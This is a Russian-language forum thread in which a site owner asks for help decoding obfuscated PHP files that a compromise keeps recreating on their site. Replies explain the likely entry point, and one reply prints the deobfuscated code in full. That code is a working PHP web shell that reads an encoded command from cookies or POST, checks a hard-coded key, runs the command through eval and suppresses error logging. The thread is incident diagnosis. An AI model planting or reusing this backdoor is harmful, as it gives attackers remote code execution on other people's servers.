@Motorkaa

Есть варианты расшифровать этот php?

Некий вирус на сайте постоянно создаёт 2 файла и начинает дико спамить. Кто создаёт это дело и как не получается установить. Вот думаю, может расшифровка этого дела поможет? Подскажите как или чем можно это в читаемый вид привести.
Они большие, сюда не смог выложить.
1й файл.
hello-site.ru/share/Strannyj-kod
Полностью туда тоже не влез, заканчивается так:
'3DX13HmvKmDXuZB';
$djrxvctcq = Array('1'=>'D', '0'=>'1', '3'=>'Q', '2'=>'u', '5'=>'9', '4'=>'L', '7'=>'j', '6'=>'a', '9'=>'8', '8'=>'t', 'A'=>'f', 'C'=>'g', 'B'=>'7', 'E'=>'i', 'D'=>'0', 'G'=>'A', 'F'=>'n', 'I'=>'r', 'H'=>'p', 'K'=>'G', 'J'=>'b', 'M'=>'T', 'L'=>'2', 'O'=>'X', 'N'=>'v', 'Q'=>'m', 'P'=>'3', 'S'=>'J', 'R'=>'c', 'U'=>'E', 'T'=>'x', 'W'=>'o', 'V'=>'O', 'Y'=>'N', 'X'=>'K', 'Z'=>'k', 'a'=>'Y', 'c'=>'P', 'b'=>'w', 'e'=>'R', 'd'=>'d', 'g'=>'U', 'f'=>'Z', 'i'=>'W', 'h'=>'h', 'k'=>'6', 'j'=>'I', 'm'=>'l', 'l'=>'H', 'o'=>'V', 'n'=>'q', 'q'=>'B', 'p'=>'z', 's'=>'s', 'r'=>'5', 'u'=>'C', 't'=>'S', 'w'=>'M', 'v'=>'e', 'y'=>'F', 'x'=>'y', 'z'=>'4');
eval/*txilqla*/(omspplru($czbetc, $djrxvctcq));?>

2й файл.
hello-site.ru/share/Strannyj-kod2
  • Вопрос задан
  • 869 просмотров
Решения вопроса 1
@PavelFokeev
pavl1k.ru
pastebin.com/uNfLxXCu

ps. скрипт не до конца, т.к. вы сами дали битый исходник
Ответ написан
Пригласить эксперта
Ответы на вопрос 3
Rou1997
@Rou1997
Если, извините, гадят в подъезде, то нужно анализ кала делать, ну мы его сделаем "а там видно будет", или нужно все-таки установить кодовый замок?
Вероятно, это не вирус на сайте, а бот, эксплуатирующий уязвимость типа shell, то есть самого "размножения" в этом коде и нет, ну, он же изначально там взялся откуда-то, а значит "дыра" все равно есть, и если вы ее еще не убрали, то не сама же она исчезла, она до сих пор там и ей могут пользоваться...
А если и есть смысл анализировать код, то кроме деобфускации всегда нужна отладка, без нее время анализа растет в геометрической прогрессии с размером кода и шифрованием, так что изучайте отладку PHP.
Ответ написан
Комментировать
@Motorkaa Автор вопроса
eval поменял на echo и всё увидел.
А как найти то, что создаёт?
Есть ли возможность посмотреть кто и как создал файл?
Ответ написан
Rsa97
@Rsa97
Для правильного вопроса надо знать половину ответа
Первый скрипт, принимает зашифрованную команду через $_COOKIES или $_POST и возвращает результат её выполнения.
<?php
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@set_time_limit(0);

$command = NULL;
$pass = NULL;

global $globalKey = 'cfa57343-5fb2-4c08-95bc-c0e9c5972f14';

function decode($str, $key)
{
    $result = "";

    for ($i = 0; $i < strlen($str);)
    {
        for ($j = 0; $j < strlen($key) && $i < strlen($str); $j++, $i++)
        {
            $result .= chr(ord($str[$i]) ^ ord($key[$j]));
        }
    }

    return $result;
}

function decode2($str, $key)
{
    global $globalKey;

    return decode(decode($str, $globalKey), $key);
}

foreach ($_COOKIE as $name => $value)
{
    $command = $value;
    $pass = $name;
}
 
if (!$command)
{
    foreach ($_POST as $name => $value)
    {
        $command = $value;
        $pass = $name;
    }
}

$command = @unserialize(decode2(base64_decode($command), $pass));
if (isset($command['ak']) && $globalKey == $command['ak'])
{
    if ($command['a'] == 'i')
    {
        $versions = Array(
            'pv' => @phpversion(),
            'sv' => '1.0-1',
        );
        echo @serialize($versions);
    }
    elseif ($command['a'] == 'e')
    {
        eval($command['d']);
    }
    exit();
}
Ответ написан
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Войти через центр авторизации
Похожие вопросы